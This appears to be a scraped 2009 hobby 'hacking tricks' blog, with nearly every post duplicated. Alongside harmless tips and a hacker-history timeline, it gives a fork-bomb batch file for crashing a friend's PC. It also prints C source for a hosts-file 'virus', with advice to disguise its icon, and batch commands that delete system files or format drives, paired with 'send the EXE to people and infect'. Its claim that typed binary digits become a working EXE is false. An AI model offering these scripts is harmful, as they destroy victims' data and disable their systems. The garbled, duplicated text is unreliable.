then u can double click the file to execute or run in the cmd.
Install Programs in LIMITED without ADMINISTRATOR Privileges
This might not always work but it's pretty useful because your able to install programs although your administrator has bloked it.
Steps
1. When your installing the program here is what you have to do.
2. When it gives you the option of choosing the directory or destination where the program will be intall, before clicking next click browse to choose a different destination.
3. The destination your going to choose is
C:\Documents and Settings\"your username"\"name of program being installed"\
4. So just browse to
The C:\ drive
Then Documents and Settings
Then your User Name
5. The reason why you do this is because since your intalling it in your account name the computer doesn't stop or check anything because its your account and your name, but if you just select the desktop and choose to install it there it going to say something like "you do not have enough administrative privileges" something like that.
Steps
1. When your installing the program here is what you have to do.
2. When it gives you the option of choosing the directory or destination where the program will be intall, before clicking next click browse to choose a different destination.
3. The destination your going to choose is
C:\Documents and Settings\"your username"\"name of program being installed"\
4. So just browse to
The C:\ drive
Then Documents and Settings
Then your User Name
5. The reason why you do this is because since your intalling it in your account name the computer doesn't stop or check anything because its your account and your name, but if you just select the desktop and choose to install it there it going to say something like "you do not have enough administrative privileges" something like that.
Lock any folder without using any software
1. Suppose you have a folder named abcd in D:\abcd.
2. In the same drive next to the folder create a new notepad file with the exact statement
ren abcd abcd.{21EC2020-3AEA-1069-A2DD-08002B30309D}
3. Now save this text file as loc.bat
4. Create another notepad file and type
ren abcd.{21EC2020-3AEA-1069-A2DD-08002B30309D} abcd
5. Save this as key.bat
6. Now there are two batch files. Double click loc.bat and your folder will change into Control Panel and its contents cannot be viewed .
7. To open the folder double click key.bat and you get back your original folder.
8. For more safety keep the key.bat in another location . Only for unlocking copy paste to the original location and double click. (don't forget to replace abcd with the folder name)
OR
Paste it in notepad
Save it as batch file(with extension .bat).Any name will do.
Now you see a batch file.
Double click it to create a folder locker.
A new folder named Locker would be formed at the same location.
Now brings all the files you want to hide in the locker folder.
Now double click the batch file to lock the folder namely Locker.
If you want to unlock your files,double click the batch file again and you would be prompted for password.
Enter the password and enjoy access to the folder.
2. In the same drive next to the folder create a new notepad file with the exact statement
ren abcd abcd.{21EC2020-3AEA-1069-A2DD-08002B30309D}
3. Now save this text file as loc.bat
4. Create another notepad file and type
ren abcd.{21EC2020-3AEA-1069-A2DD-08002B30309D} abcd
5. Save this as key.bat
6. Now there are two batch files. Double click loc.bat and your folder will change into Control Panel and its contents cannot be viewed .
7. To open the folder double click key.bat and you get back your original folder.
8. For more safety keep the key.bat in another location . Only for unlocking copy paste to the original location and double click. (don't forget to replace abcd with the folder name)
OR
Paste it in notepad
Quote:
| cls @ECHO OFF title Folder Locker if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST Locker goto MDLOCKER :CONFIRM echo Are you sure u want to Lock the folder(Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Enter password to Unlock folder set/p "pass=>" if NOT %pass%==type your password here goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker echo Folder Unlocked successfully goto End :FAIL echo Invalid password goto end :MDLOCKER md Locker echo Locker created successfully goto End :End |
Now you see a batch file.
Double click it to create a folder locker.
A new folder named Locker would be formed at the same location.
Now brings all the files you want to hide in the locker folder.
Now double click the batch file to lock the folder namely Locker.
If you want to unlock your files,double click the batch file again and you would be prompted for password.
Enter the password and enjoy access to the folder.
Windows Will crash in 49.7 Days when it runs continously
Will Windows work continuously for more than 49.7 days?
Here is a information, which may surprise you all. Windows crashes automatically if you don't switch off the machine for 49.7 Days. Microsoft accepts this. Do you know why?
In Windows the Virtual Machine Manager (here after referred as VMM) is responsible for creation, execution, monitoring and termination of virtual machines. This VMM, which is a 32 bit, protected mode operating system entity, provides a number of system services at chip level. One of these services is "Get_System_Time". This particular service loads the EAX register with the time in milliseconds since Windows started on that machine. This service is accurate to 1 ms. EAX is a 32 bit register in Intel 386 Processor onwards.
So the maximum number of milliseconds it can hold is
(2^32)-1 = 4294967295 milliseconds = 4294967.295 seconds = 71582.79 minutes = 1193 hours = 49.7 days.
So after 49.7 days the EAX resets to zero. Most of the Drivers use this Time Service to keep track of the Timeout of various services they provide. So after 49.7 days the drivers cannot use the Get_System_Time function of VMM and they crash taking the OS along with.
CHRONOLOGY OF THE HACKER CRACKDOWN
1865- U.S. Secret Service (USSS) founded.
1876 - Alexander Graham Bell invents telephone.
1878 - First teenage males flung off phone system by enraged authorities.
1939- "Futurian" science-fiction group raided by Secret Service.
1971 - Yippie phone phreaks start YIPL/TAP magazine.
1972 - RAMPARTS magazine seized in blue-box rip-off scandal.
1978 - Ward Christenson and Randy Suess create first personal computer bulletin board system.
1982 - William Gibson coins term "cyberspace."
1982 - "414 Gang" raided.
1983-1983 AT&T dismantled in divestiture.
1984 - Congress passes Comprehensive Crime Control Act giving USSS jurisdiction over credit card fraud and computer fraud.
1984 - "Legion of Doom" formed.
1984. - 2600: THE HACKER QUARTERLY founded.
1984. - WHOLE EARTH SOFTWARE CATALOG published.
1985.- First police "sting" bulletin board systems established.
1985.- Whole Earth 'Lectronic Link computer conference (WELL) goes on-line.
1986 - Computer Fraud and Abuse Act passed.
1986 - Electronic Communications Privacy Act passed.
1987 - Chicago prosecutors form Computer Fraud and Abuse Task Force.
1988
July. - Secret Service covertly videotapes "SummerCon" hacker convention.
September -. "Prophet" cracks BellSouth AIMSX computer network and downloads E911 Document to his own computer and to Jolnet.
September. AT&T Corporate Information Security informed of Prophet's action.
October. Bellcore Security informed of Prophet's action.
1989
January. Prophet uploads E911 Document to Knight Lightning.
February 25. Knight Lightning publishes E911 Document in PHRACK
electronic newsletter.
May. Chicago Task Force raids and arrests "Kyrie."
June. "NuPrometheus League" distributes Apple Computer proprietary software.
June 13. Florida probation office crossed with phone-sex line
in switching-station stunt.
July. "Fry Guy" raided by USSS and Chicago Computer Fraud
and Abuse Task Force.
July. Secret Service raids "Prophet," "Leftist," and "Urvile" in Georgia.
1990
January 15. Martin Luther King Day Crash strikes AT&T long-distance
network nationwide.
January 18-19. Chicago Task Force raids Knight Lightning in St. Louis.
January 24. USSS and New York State Police raid "Phiber Optik,"
"Acid Phreak," and "Scorpion" in New York City.
February 1. USSS raids "Terminus" in Maryland.
February 3. Chicago Task Force raids Richard Andrews' home.
February 6. Chicago Task Force raids Richard Andrews' business.
February 6. USSS arrests Terminus, Prophet, Leftist, and Urvile.
February 9. Chicago Task Force arrests Knight Lightning.
February 20. AT&T Security shuts down public-access "attctc" computer in Dallas.
February 21. Chicago Task Force raids Robert Izenberg in Austin.
March 1. Chicago Task Force raids Steve Jackson Games, Inc.,"Mentor," and "Erik Bloodaxe" in Austin.
May 7,8,9. USSS and Arizona Organized Crime and Racketeering Bureau conduct "Operation Sundevil" raids in Cincinnatti, Detroit, Los Angeles, Miami, Newark, Phoenix, Pittsburgh, Richmond, Tucson, San Diego,San Jose, and San Francisco.
May. FBI interviews John Perry Barlow re NuPrometheus case.
June. Mitch Kapor and Barlow found Electronic Frontier Foundation; Barlow publishes CRIME AND PUZZLEMENT manifesto.
July 24-27. Trial of Knight Lightning.
1991
February. CPSR Roundtable in Washington, D.C.
March 25-28. Computers, Freedom and Privacy conference in San Francisco.
May 1. Electronic Frontier Foundation, Steve Jackson, and others file suit against members of Chicago Task Force.
July 1-2. Switching station phone software crash affects Washington, Los Angeles, Pittsburgh, San Francisco.
September 17. AT&T phone crash affects New York City and three airports.
1876 - Alexander Graham Bell invents telephone.
1878 - First teenage males flung off phone system by enraged authorities.
1939- "Futurian" science-fiction group raided by Secret Service.
1971 - Yippie phone phreaks start YIPL/TAP magazine.
1972 - RAMPARTS magazine seized in blue-box rip-off scandal.
1978 - Ward Christenson and Randy Suess create first personal computer bulletin board system.
1982 - William Gibson coins term "cyberspace."
1982 - "414 Gang" raided.
1983-1983 AT&T dismantled in divestiture.
1984 - Congress passes Comprehensive Crime Control Act giving USSS jurisdiction over credit card fraud and computer fraud.
1984 - "Legion of Doom" formed.
1984. - 2600: THE HACKER QUARTERLY founded.
1984. - WHOLE EARTH SOFTWARE CATALOG published.
1985.- First police "sting" bulletin board systems established.
1985.- Whole Earth 'Lectronic Link computer conference (WELL) goes on-line.
1986 - Computer Fraud and Abuse Act passed.
1986 - Electronic Communications Privacy Act passed.
1987 - Chicago prosecutors form Computer Fraud and Abuse Task Force.
1988
July. - Secret Service covertly videotapes "SummerCon" hacker convention.
September -. "Prophet" cracks BellSouth AIMSX computer network and downloads E911 Document to his own computer and to Jolnet.
September. AT&T Corporate Information Security informed of Prophet's action.
October. Bellcore Security informed of Prophet's action.
1989
January. Prophet uploads E911 Document to Knight Lightning.
February 25. Knight Lightning publishes E911 Document in PHRACK
electronic newsletter.
May. Chicago Task Force raids and arrests "Kyrie."
June. "NuPrometheus League" distributes Apple Computer proprietary software.
June 13. Florida probation office crossed with phone-sex line
in switching-station stunt.
July. "Fry Guy" raided by USSS and Chicago Computer Fraud
and Abuse Task Force.
July. Secret Service raids "Prophet," "Leftist," and "Urvile" in Georgia.
1990
January 15. Martin Luther King Day Crash strikes AT&T long-distance
network nationwide.
January 18-19. Chicago Task Force raids Knight Lightning in St. Louis.
January 24. USSS and New York State Police raid "Phiber Optik,"
"Acid Phreak," and "Scorpion" in New York City.
February 1. USSS raids "Terminus" in Maryland.
February 3. Chicago Task Force raids Richard Andrews' home.
February 6. Chicago Task Force raids Richard Andrews' business.
February 6. USSS arrests Terminus, Prophet, Leftist, and Urvile.
February 9. Chicago Task Force arrests Knight Lightning.
February 20. AT&T Security shuts down public-access "attctc" computer in Dallas.
February 21. Chicago Task Force raids Robert Izenberg in Austin.
March 1. Chicago Task Force raids Steve Jackson Games, Inc.,"Mentor," and "Erik Bloodaxe" in Austin.
May 7,8,9. USSS and Arizona Organized Crime and Racketeering Bureau conduct "Operation Sundevil" raids in Cincinnatti, Detroit, Los Angeles, Miami, Newark, Phoenix, Pittsburgh, Richmond, Tucson, San Diego,San Jose, and San Francisco.
May. FBI interviews John Perry Barlow re NuPrometheus case.
June. Mitch Kapor and Barlow found Electronic Frontier Foundation; Barlow publishes CRIME AND PUZZLEMENT manifesto.
July 24-27. Trial of Knight Lightning.
1991
February. CPSR Roundtable in Washington, D.C.
March 25-28. Computers, Freedom and Privacy conference in San Francisco.
May 1. Electronic Frontier Foundation, Steve Jackson, and others file suit against members of Chicago Task Force.
July 1-2. Switching station phone software crash affects Washington, Los Angeles, Pittsburgh, San Francisco.
September 17. AT&T phone crash affects New York City and three airports.
Friday, September 25, 2009
Trojans and Spyware
What is a Trojan Horse?
This term "Trojan Horse" comes from a Greek fable, in which the Greeks presented a giant wooden horse to the Trojans as a peace offering. However, a nasty surprise awaited the Trojans as Greek soldiers sprung out of the hollow horse and captured Troy. Similarly, a Trojan horse program presents itself as a useful computer program, while it actually causes havoc and damage to your computer.
Increasingly, Trojans are the first stage of an attack and their primary purpose is to stay hidden while downloading and installing a stronger threat such as a bot. Unlike viruses and worms, Trojan horses cannot spread by themselves. They are often delivered to a victim through an email message where it masquerades as an image or joke, or by a malicious website, which installs the Trojan horse on a computer through vulnerabilities in web browser software such as Microsoft Internet Explorer.
After it is installed, the Trojan horse lurks silently on the infected machine, invisibly carrying out its misdeeds, such as downloading spyware, while the victim continues on with their normal activities.
What is Spyware?
Spyware is a general term used for programs that covertly monitor your activity on your computer, gathering personal information, such as usernames, passwords, account numbers, files, and even driver’s license or social security numbers. Some spyware focuses on monitoring a person’s Internet behavior; this type of spyware often tracks the places you visit and things you do on the web, the emails you write and receive, as well as your Instant Messaging (IM) conversations. After gathering this information, the spyware then transmits that information to another computer, usually for advertising purposes.
Spyware is similar to a Trojan horse in that users unknowingly install the product when they install something else. However, while this software is almost always unwelcome, it can be used in some instances for monitoring in conjunction with an investigation and in accordance with organizational policy.
Spyware is installed in many ways:
* Most often spyware is installed unknowingly with some other software that you intentionally install. For example, if you install a "free" music or file sharing service or download a screensaver, it may also install spyware. Some Web pages will attempt to install spyware when you visit their page.
* A person who wants to monitor your online activities may also manually install spyware. Depending on how this is done, this might be acceptable surveillance of an individual or an unwelcome, even illegal, invasion of privacy.
Trojans, Spyware & Crime
Trojans and spyware are crimeware—two of the essential tools a cybercriminal might use to obtain unauthorized access and steal information from a victim as part of an attack. The creation and distribution of these programs is on the rise—they are now 37% of all of the thousands of malware Symantec processes on a weekly basis.
Trojans and spyware are developed by professionals. Trojans and spyware are often created by professional crimeware authors who sell their software on the black market for use in online fraud and other illegal activities.
How Can I Avoid Getting Infected
Symantec has performed in-depth research on how and when crimeware programs are created in order to gain a deeper understanding of the problem. Our analysis reveals that Trojans and spyware are developed as a full-time job during what might be considered a normal workday. These findings suggest that crimeware authors are creating their Trojans as a full-time profession.
This term "Trojan Horse" comes from a Greek fable, in which the Greeks presented a giant wooden horse to the Trojans as a peace offering. However, a nasty surprise awaited the Trojans as Greek soldiers sprung out of the hollow horse and captured Troy. Similarly, a Trojan horse program presents itself as a useful computer program, while it actually causes havoc and damage to your computer.
Increasingly, Trojans are the first stage of an attack and their primary purpose is to stay hidden while downloading and installing a stronger threat such as a bot. Unlike viruses and worms, Trojan horses cannot spread by themselves. They are often delivered to a victim through an email message where it masquerades as an image or joke, or by a malicious website, which installs the Trojan horse on a computer through vulnerabilities in web browser software such as Microsoft Internet Explorer.
After it is installed, the Trojan horse lurks silently on the infected machine, invisibly carrying out its misdeeds, such as downloading spyware, while the victim continues on with their normal activities.
What is Spyware?
Spyware is a general term used for programs that covertly monitor your activity on your computer, gathering personal information, such as usernames, passwords, account numbers, files, and even driver’s license or social security numbers. Some spyware focuses on monitoring a person’s Internet behavior; this type of spyware often tracks the places you visit and things you do on the web, the emails you write and receive, as well as your Instant Messaging (IM) conversations. After gathering this information, the spyware then transmits that information to another computer, usually for advertising purposes.
Spyware is similar to a Trojan horse in that users unknowingly install the product when they install something else. However, while this software is almost always unwelcome, it can be used in some instances for monitoring in conjunction with an investigation and in accordance with organizational policy.
Spyware is installed in many ways:
* Most often spyware is installed unknowingly with some other software that you intentionally install. For example, if you install a "free" music or file sharing service or download a screensaver, it may also install spyware. Some Web pages will attempt to install spyware when you visit their page.
* A person who wants to monitor your online activities may also manually install spyware. Depending on how this is done, this might be acceptable surveillance of an individual or an unwelcome, even illegal, invasion of privacy.
Trojans, Spyware & Crime
Trojans and spyware are crimeware—two of the essential tools a cybercriminal might use to obtain unauthorized access and steal information from a victim as part of an attack. The creation and distribution of these programs is on the rise—they are now 37% of all of the thousands of malware Symantec processes on a weekly basis.
Trojans and spyware are developed by professionals. Trojans and spyware are often created by professional crimeware authors who sell their software on the black market for use in online fraud and other illegal activities.
How Can I Avoid Getting Infected
Symantec has performed in-depth research on how and when crimeware programs are created in order to gain a deeper understanding of the problem. Our analysis reveals that Trojans and spyware are developed as a full-time job during what might be considered a normal workday. These findings suggest that crimeware authors are creating their Trojans as a full-time profession.
Friday, September 18, 2009
crash your friends PC
This is a simple tip to crash the system
1.open the Notepad and type the following
start
start
start
start
start
start
start
start
Type the above one as many times and save it as "hax.bat" (without doubleqoutes)
This will open the cmd prompt as many times u entered.
2.Now include the Name hax.bat in the last line of the notepad. Like the following:
start
start
start
start
start
start
start
start
hax.bat
This will never stop opening the cmd prompt.
the will open the cmd prompt and no other work can be done.
1.open the Notepad and type the following
start
start
start
start
start
start
start
start
Type the above one as many times and save it as "hax.bat" (without doubleqoutes)
This will open the cmd prompt as many times u entered.
2.Now include the Name hax.bat in the last line of the notepad. Like the following:
start
start
start
start
start
start
start
start
hax.bat
This will never stop opening the cmd prompt.
the will open the cmd prompt and no other work can be done.
Wednesday, September 16, 2009
Block Websites permanently through Programs
Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.
NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1?;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1—————————google.com
5. Delete all such entries which contain the names of blocked sites.
NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.
NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1?;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
How to Compile ?
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1—————————google.com
5. Delete all such entries which contain the names of blocked sites.
NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?
Run Commands
here is 99 run commands
Add Hardware Wizard
hdwwiz.cpl
Add/Remove Programs
appwiz.cpl
Administrative Tools
control admintools
Automatic Updates
wuaucpl.cpl
Bluetooth Transfer Wizard
fsquirt
Calculator
calc
Certificate Manager
certmgr.msc
Character Map
charmap
Check Disk Utility
chkdsk
Clipboard Viewer
clipbrd
Command Prompt
cmd
Component Services
dcomcnfg
Computer Management
compmgmt.msc
Date and Time Properties
timedate.cpl
DDE Shares
ddeshare
Device Manager
devmgmt.msc
Direct X Control Panel (If Installed)*
directx.cpl
Direct X Troubleshooter
dxdiag
Disk Cleanup Utility
cleanmgr
Disk Defragment
dfrg.msc
Disk Management
diskmgmt.msc
Disk Partition Manager
diskpart
Display Properties
control desktop
Display Properties
desk.cpl
Display Properties (w/Appearance Tab Preselected)
control color
Dr. Watson System Troubleshooting Utility
drwtsn32
Driver Verifier Utility
verifier
Event Viewer
eventvwr.msc
File Signature Verification Tool
sigverif
Findfast
findfast.cpl
Folders Properties
control folders
Fonts
control fonts
Fonts Folder
fonts
Free Cell Card Game
freecell
Game Controllers
joy.cpl
Group Policy Editor (XP Prof)
gpedit.msc
Hearts Card Game
mshearts
Iexpress Wizard
iexpress
Indexing Service
ciadv.msc
Internet Properties
inetcpl.cpl
IP Configuration (Display Connection Configuration)
ipconfig /all
IP Configuration (Display DNS Cache Contents)
ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)
ipconfig /flushdns
IP Configuration (Release All Connections)
ipconfig /release
IP Configuration (Renew All Connections)
ipconfig /renew
Add Hardware Wizard
hdwwiz.cpl
Add/Remove Programs
appwiz.cpl
Administrative Tools
control admintools
Automatic Updates
wuaucpl.cpl
Bluetooth Transfer Wizard
fsquirt
Calculator
calc
Certificate Manager
certmgr.msc
Character Map
charmap
Check Disk Utility
chkdsk
Clipboard Viewer
clipbrd
Command Prompt
cmd
Component Services
dcomcnfg
Computer Management
compmgmt.msc
Date and Time Properties
timedate.cpl
DDE Shares
ddeshare
Device Manager
devmgmt.msc
Direct X Control Panel (If Installed)*
directx.cpl
Direct X Troubleshooter
dxdiag
Disk Cleanup Utility
cleanmgr
Disk Defragment
dfrg.msc
Disk Management
diskmgmt.msc
Disk Partition Manager
diskpart
Display Properties
control desktop
Display Properties
desk.cpl
Display Properties (w/Appearance Tab Preselected)
control color
Dr. Watson System Troubleshooting Utility
drwtsn32
Driver Verifier Utility
verifier
Event Viewer
eventvwr.msc
File Signature Verification Tool
sigverif
Findfast
findfast.cpl
Folders Properties
control folders
Fonts
control fonts
Fonts Folder
fonts
Free Cell Card Game
freecell
Game Controllers
joy.cpl
Group Policy Editor (XP Prof)
gpedit.msc
Hearts Card Game
mshearts
Iexpress Wizard
iexpress
Indexing Service
ciadv.msc
Internet Properties
inetcpl.cpl
IP Configuration (Display Connection Configuration)
ipconfig /all
IP Configuration (Display DNS Cache Contents)
ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)
ipconfig /flushdns
IP Configuration (Release All Connections)
ipconfig /release
IP Configuration (Renew All Connections)
ipconfig /renew
Shutdown your PC without using any external program
Auto Shutdown Pc without using any external program.......
METHOD # 1
Do you know that you can make your PC shutdown at a time u wish to?
Here is the trick!!
How To Make A Shutdown Timer!
Step 1:
Right click on your desktop and choose "New=>shortcuts".
Step 2:
In the box that says "Type the location of the shortcut",
type in "shutdown -s -t 3600" without the quotation marks and click next.
Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.
Step 3:
Make up a name for the shortcut and you're done.
You can change the icon by right clicking=>properities=>change icon=>browse.
To abort:
To make an abort key to stop the shutdown timer just create another shortcut and make
the "location of the shortcut" to " shutdown -a" without the quotes.
METHOD # 2
Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in
start=>Run
Type Code: at 11:35 shutdown -s
to abort
Code:
shutdown -a
take note: all time are in 24hr, example u would like to shutdown at 8:30pm, you should type
"at 20:30 shutdown -s" without quote
METHOD # 3
you can use a batch for that as well it makes it easier to use
just run the batch and enter the time you want it to shutdown
shutdown.bat
Type Code:
@echo off
title Scheduled Shutdown Batch Example by chacha1234
color A
echo Enter Time To Shutdown (example 19:30)
set /p stime=
cls
at %stime% ""shutdown -s -t 00"" >nul
echo Your PC Will Auto Shutdown At %stime%
echo Press Any Key To Exit
pause >nul
exit
also you can add -c "desired message" at the end of the shutdown command
for example
shutdown -s -t 60 -c "Shutdown Pc"
using this command u can also schedule ur pc to restart
for example
shutdown -r -t 60 -c "Restarting Pc
METHOD # 1
Do you know that you can make your PC shutdown at a time u wish to?
Here is the trick!!
How To Make A Shutdown Timer!
Step 1:
Right click on your desktop and choose "New=>shortcuts".
Step 2:
In the box that says "Type the location of the shortcut",
type in "shutdown -s -t 3600" without the quotation marks and click next.
Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.
Step 3:
Make up a name for the shortcut and you're done.
You can change the icon by right clicking=>properities=>change icon=>browse.
To abort:
To make an abort key to stop the shutdown timer just create another shortcut and make
the "location of the shortcut" to " shutdown -a" without the quotes.
METHOD # 2
Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in
start=>Run
Type Code: at 11:35 shutdown -s
to abort
Code:
shutdown -a
take note: all time are in 24hr, example u would like to shutdown at 8:30pm, you should type
"at 20:30 shutdown -s" without quote
METHOD # 3
you can use a batch for that as well it makes it easier to use
just run the batch and enter the time you want it to shutdown
shutdown.bat
Type Code:
@echo off
title Scheduled Shutdown Batch Example by chacha1234
color A
echo Enter Time To Shutdown (example 19:30)
set /p stime=
cls
at %stime% ""shutdown -s -t 00"" >nul
echo Your PC Will Auto Shutdown At %stime%
echo Press Any Key To Exit
pause >nul
exit
also you can add -c "desired message" at the end of the shutdown command
for example
shutdown -s -t 60 -c "Shutdown Pc"
using this command u can also schedule ur pc to restart
for example
shutdown -r -t 60 -c "Restarting Pc
Format HDD using Notepad
If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to format a HDD using a notepad. This is really cool.
Step 1.
Copy The Following In Notepad Exactly as it says
01001011000111110010010101010101010000011111100000
Step 2.
Save As An EXE Any Name Will Do
Step 3.
Send the EXE to People And Infect
OR
IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X -- this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X -- this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X -- this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini -- this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
try to figure out urself rest
cant spoonfeed
its working
Do not try it on your PC. Don't mess around this is for educational purpose only
still if you cant figure it out try this
go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as Dell.bat
want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file
Step 1.
Copy The Following In Notepad Exactly as it says
01001011000111110010010101010101010000011111100000
Step 2.
Save As An EXE Any Name Will Do
Step 3.
Send the EXE to People And Infect
OR
IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X -- this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X -- this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X -- this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini -- this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001
try to figure out urself rest
cant spoonfeed
its working
Do not try it on your PC. Don't mess around this is for educational purpose only
still if you cant figure it out try this
go to notepad and type the following:
@Echo off
Del C:\ *.*|y
save it as Dell.bat
want worse then type the following:
@echo off
